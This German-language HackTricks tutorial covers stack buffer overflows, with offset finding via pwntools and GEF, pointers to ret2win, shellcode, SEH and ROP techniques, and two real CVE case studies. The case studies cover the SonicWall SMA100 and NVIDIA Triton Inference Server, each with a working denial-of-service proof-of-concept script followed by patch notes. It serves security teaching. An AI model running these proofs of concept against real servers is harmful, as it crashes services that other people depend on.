Stack Overflow

Reading time: 10 minutes

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Was ist ein Stack Overflow

Ein stack overflow ist eine Schwachstelle, die auftritt, wenn ein Programm mehr Daten auf den Stack schreibt, als dafür vorgesehen sind. Diese überschüssigen Daten werden benachbarten Speicher überschreiben, was zur Korruption gültiger Daten, zur Störung des Kontrollflusses und möglicherweise zur Ausführung von Schadcode führen kann. Dieses Problem entsteht häufig durch die Verwendung unsicherer Funktionen, die keine Grenzprüfungen für Eingaben durchführen.

Das Hauptproblem dieser Überschreibung besteht darin, dass der saved instruction pointer (EIP/RIP) und der saved base pointer (EBP/RBP), die zum Zurückkehren in die vorherige Funktion verwendet werden, auf dem Stack gespeichert sind. Daher kann ein Angreifer diese überschreiben und den Ausführungsfluss des Programms kontrollieren.

Die Schwachstelle entsteht normalerweise, weil eine Funktion mehr Bytes auf den Stack kopiert, als dafür reserviert sind, und so andere Teile des Stacks überschreiben kann.

Einige häufig verwundbare Funktionen sind: strcpy, strcat, sprintf, gets... Auch Funktionen wie fgets, read & memcpy, die ein Längenargument nehmen, können auf eine verwundbare Weise verwendet werden, wenn die angegebene Länge größer ist als die zugewiesene.

Zum Beispiel könnten die folgenden Funktionen verwundbar sein:

c
void vulnerable() {
char buffer[128];
printf("Enter some text: ");
gets(buffer); // This is where the vulnerability lies
printf("You entered: %s\n", buffer);
}

Finden von Stack Overflows offsets

Die gebräuchlichste Methode, Stack Overflows zu finden, besteht darin, eine sehr lange Eingabe aus As zu geben (z. B. python3 -c 'print("A"*1000)') und ein Segmentation Fault zu erwarten, das anzeigt, dass die Adresse 0x41414141 versucht wurde, zuzugreifen.

Außerdem, sobald du festgestellt hast, dass eine Stack Overflows vulnerability vorhanden ist, musst du den Offset finden, bis es möglich ist, die return address zu überschreiben; dafür wird üblicherweise eine De Bruijn sequence verwendet. Diese ist für ein gegebenes Alphabet der Größe k und Teilsequenzen der Länge n eine zyklische Sequenz, in der jede mögliche Teilsequenz der Länge n genau einmal als zusammenhängende Teilsequenz vorkommt.

Auf diese Weise, anstatt per Hand herauszufinden, welcher Offset benötigt wird, um die EIP zu kontrollieren, kann man eine dieser Sequenzen als Padding verwenden und dann den Offset der Bytes bestimmen, die letztlich diese überschrieben haben.

Dafür kann man pwntools verwenden:

python
from pwn import *

# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values)
pattern = cyclic(1000)

# This is an example value that you'd have found in the EIP/IP register upon crash
eip_value = p32(0x6161616c)
offset = cyclic_find(eip_value)  # Finds the offset of the sequence in the De Bruijn pattern
print(f"The offset is: {offset}")

oder GEF:

bash
#Patterns
pattern create 200 #Generate length 200 pattern
pattern search "avaaawaa" #Search for the offset of that substring
pattern search $rsp #Search the offset given the content of $rsp

Exploiting Stack Overflows

Während eines Overflows (vorausgesetzt, die Overflow-Größe ist groß genug) kannst du Werte lokaler Variablen auf dem Stack überschreiben, bis du das gespeicherte EBP/RBP and EIP/RIP (or even more) erreichst.
Die häufigste Methode, diese Art von Schwachstelle auszunutzen, besteht darin, die Rücksprungadresse zu verändern, sodass beim Beenden der Funktion der Kontrollfluss auf die vom Angreifer in diesem Pointer angegebene Adresse umgeleitet wird.

In anderen Szenarien kann es jedoch ausreichen, lediglich einige Variablenwerte auf dem Stack zu überschreiben, um die Schwachstelle auszunutzen (wie bei einfachen CTF-Challenges).

Ret2win

Bei dieser Art von CTF-Challenges gibt es eine Funktion inside das binary, die nie aufgerufen wird und die du aufrufen musst, um zu gewinnen. Für diese Challenges musst du nur das Offset finden, um die Rücksprungadresse zu überschreiben, und die Adresse der aufzurufenden Funktion finden (normalerweise ist ASLR deaktiviert), sodass beim Rückkehr der verwundbaren Funktion die versteckte Funktion aufgerufen wird:

Ret2win

Stack Shellcode

In diesem Szenario kann der Angreifer Shellcode auf dem Stack platzieren und den kontrollierten EIP/RIP ausnutzen, um zum Shellcode zu springen und beliebigen Code auszuführen:

Stack Shellcode

Windows SEH-based exploitation (nSEH/SEH)

Unter 32-bit Windows kann ein Overflow die Structured Exception Handler (SEH)-Kette anstelle der gespeicherten Rücksprungadresse überschreiben. Die Ausnutzung ersetzt typischerweise den SEH-Zeiger durch ein POP POP RET-Gadget und verwendet das 4-Byte nSEH-Feld für einen kurzen Sprung, um zurück in den großen Puffer zu pivotieren, in dem sich der Shellcode befindet. Ein häufiges Muster ist ein kurzer jmp in nSEH, der auf einen 5-Byte near jmp landet, das direkt vor nSEH platziert ist, um hunderte Bytes zurück zum Anfang des Payloads zu springen.

Windows Seh Overflow

ROP & Ret2... techniques

Diese Technik ist das grundlegende Framework, um den wichtigsten Schutz der vorherigen Methode zu umgehen: No executable stack (NX). Außerdem ermöglicht sie die Durchführung mehrerer anderer Techniken (ret2lib, ret2syscall...), die durch Ausnutzen vorhandener Instruktionen im binary letztlich beliebige Befehle ausführen können:

ROP - Return Oriented Programing

Heap Overflows

Ein Overflow befindet sich nicht immer im Stack; er kann zum Beispiel auch im heap auftreten:

Heap Overflow

Arten von Schutzmechanismen

Es gibt mehrere Schutzmechanismen, die versuchen, die Ausnutzung von Schwachstellen zu verhindern. Sieh sie dir an in:

Common Binary Exploitation Protections & Bypasses

Real-World Example: CVE-2025-40596 (SonicWall SMA100)

Eine gute Demonstration, warum sscanf niemals für das Parsen von nicht vertrauenswürdigen Eingaben verwendet werden sollte, erschien 2025 in SonicWall’s SMA100 SSL-VPN-Appliance.
Die verwundbare Routine in /usr/src/EasyAccess/bin/httpd versucht, die Version und den Endpoint aus jeder URI zu extrahieren, die mit /__api__/ beginnt:

c
char version[3];
char endpoint[0x800] = {0};
/* simplified proto-type */
sscanf(uri, "%*[^/]/%2s/%s", version, endpoint);
  1. Die erste Conversion (%2s) schreibt sicher zwei Bytes in version (z. B. "v1").
  2. Die zweite Conversion (%s) hat keine Längenangabe, daher wird sscanf weiter kopieren bis zum ersten NUL-Byte.
  3. Weil endpoint auf dem stack liegt und 0x800 Bytes lang ist, korruptiert ein Pfad, der länger als 0x800 Bytes ist, alles, was nach dem buffer liegt – einschließlich des stack canary und der saved return address.

Ein einzeiliges Proof-of-Concept reicht aus, um den Crash vor der Authentifizierung auszulösen:

python
import requests, warnings
warnings.filterwarnings('ignore')
url = "https://TARGET/__api__/v1/" + "A"*3000
requests.get(url, verify=False)

Obwohl stack canaries den Prozess abbrechen, erhält ein Angreifer trotzdem ein Denial-of-Service-Primitive (und, mit zusätzlichen information leaks, möglicherweise code-execution). Die Lehre ist einfach:

  • Geben Sie immer eine maximale Feldbreite an (z. B. %511s).
  • Bevorzugen Sie sicherere Alternativen wie snprintf/strncpy_s.

Reales Beispiel: CVE-2025-23310 & CVE-2025-23311 (NVIDIA Triton Inference Server)

Der NVIDIA Triton Inference Server (≤ v25.06) enthielt mehrere stack-based overflows, die über seine HTTP API erreichbar waren. Das verwundbare Muster tauchte wiederholt in http_server.cc und sagemaker_server.cc auf:

c
int n = evbuffer_peek(req->buffer_in, -1, NULL, NULL, 0);
if (n > 0) {
/* allocates 16 * n bytes on the stack */
struct evbuffer_iovec *v = (struct evbuffer_iovec *)
alloca(sizeof(struct evbuffer_iovec) * n);
...
}
  1. evbuffer_peek (libevent) gibt die Anzahl der internen Buffer-Segmente zurück, die den aktuellen HTTP request body zusammensetzen.
  2. Jedes Segment verursacht, dass ein 16-byte evbuffer_iovec mittels alloca() auf dem stack alloziert wird – ohne obere Grenze.
  3. Durch Missbrauch von HTTP chunked transfer-encoding kann ein Client die Anfrage in hunderttausende von 6-byte chunks ("1\r\nA\r\n") aufteilen. Dadurch wächst n unbegrenzt, bis der stack erschöpft ist.

Proof-of-Concept (DoS)

python
#!/usr/bin/env python3
import socket, sys

def exploit(host="localhost", port=8000, chunks=523_800):
s = socket.create_connection((host, port))
s.sendall((
f"POST /v2/models/add_sub/infer HTTP/1.1\r\n"
f"Host: {host}:{port}\r\n"
"Content-Type: application/octet-stream\r\n"
"Inference-Header-Content-Length: 0\r\n"
"Transfer-Encoding: chunked\r\n"
"Connection: close\r\n\r\n"
).encode())

for _ in range(chunks):                  # 6-byte chunk ➜ 16-byte alloc
s.send(b"1\r\nA\r\n")            # amplification factor ≈ 2.6x
s.sendall(b"0\r\n\r\n")               # end of chunks
s.close()

if __name__ == "__main__":
exploit(*sys.argv[1:])

Eine ~3 MB-Anfrage reicht aus, um die gespeicherte Rücksprungadresse zu überschreiben und den Daemon bei einem Standard-Build crash zu verursachen.

Patch & Gegenmaßnahmen

Das Release 25.07 ersetzt die unsichere Stack-Allokation durch einen heap-backed std::vector und behandelt std::bad_alloc ordnungsgemäß:

c++
std::vector<evbuffer_iovec> v_vec;
try {
v_vec = std::vector<evbuffer_iovec>(n);
} catch (const std::bad_alloc &e) {
return TRITONSERVER_ErrorNew(TRITONSERVER_ERROR_INVALID_ARG, "alloc failed");
}
struct evbuffer_iovec *v = v_vec.data();

Erkenntnisse:

  • Rufe niemals alloca() mit vom Angreifer kontrollierten Größen auf.
  • Chunked requests können die Struktur serverseitiger Puffer drastisch verändern.
  • Validiere / begrenze jeden Wert, der aus Client-Eingaben abgeleitet wird bevor du ihn in Speicherallokationen verwendest.

Referenzen

tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks